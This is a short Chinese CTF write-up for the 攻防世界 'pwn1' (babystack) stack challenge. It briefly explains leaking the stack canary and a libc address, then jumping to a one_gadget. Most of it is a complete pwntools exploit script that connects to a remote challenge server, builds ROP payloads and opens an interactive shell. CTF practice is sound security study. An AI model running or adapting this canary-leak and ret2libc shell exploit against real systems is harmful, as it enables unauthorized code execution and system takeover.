攻防世界pwn高手区——pwn1
攻防世界 —— pwn1
攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了。
题目流程
拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞。在gdb中检查题目的保护。
解题思路
程序没有开PIE,但是有Canary,所以首先要infoleak,泄露出Canary。泄露出Canary之后,可以通过ret2Onegadget的方法来getshell,这样的话,还要泄露出一个函数地址,泄露出函数地址之后,通过偏移来计算出libc的基地址,然后计算出Onegadget的地址。
exp如下所示:
from pwn import * context.log_level='debug' DEBUG=0 if DEBUG: io=process('./babystack') else: io=remote('220.249.52.133',30008) elf=ELF('./babystack') libc=ELF('./libc-2.23.so') get_shell=0x45216
#onegadget的地址
read_plt=elf.plt['read'] write_plt=elf.plt['write'] puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] puts_off=libc.sym['puts'] pop_rdi_ret=0x400a93 pppppp_ret=0x400A8A movret=0x400a70 main_addr=0x400909 io.recv() io.sendline(str(1)) payload='a'*0x88+'\n' #这里'\n'覆写Canary最低字节 io.send(payload) io.recv() io.sendline(str(2)) io.recvuntil('a'*0x88) Canary=u64(io.recv(8))-0xa #泄露出Canary print("Canary:{}".format(hex(Canary))) io.recv() io.sendline(str(1)) payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #泄露出puts函数地址 io.send(payload) io.sendafter('>> ',str(3)) puts_addr=u64(io.recv(8).ljust(8,'\x00')) libc_addr=puts_addr-libc.symbols['puts'] execve_addr=libc_addr+0x45216 print("puts_addr:{}".format(hex(puts_addr))) print("libc_addr:{}".format(hex(libc_addr))) print("execve_addr:{}".format(hex(execve_addr))) payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(execve_addr) #ret2One_gadget io.sendlineafter('>> ',str(1)) io.send(payload) io.sendlineafter('>> ',str(3)) io.interactive()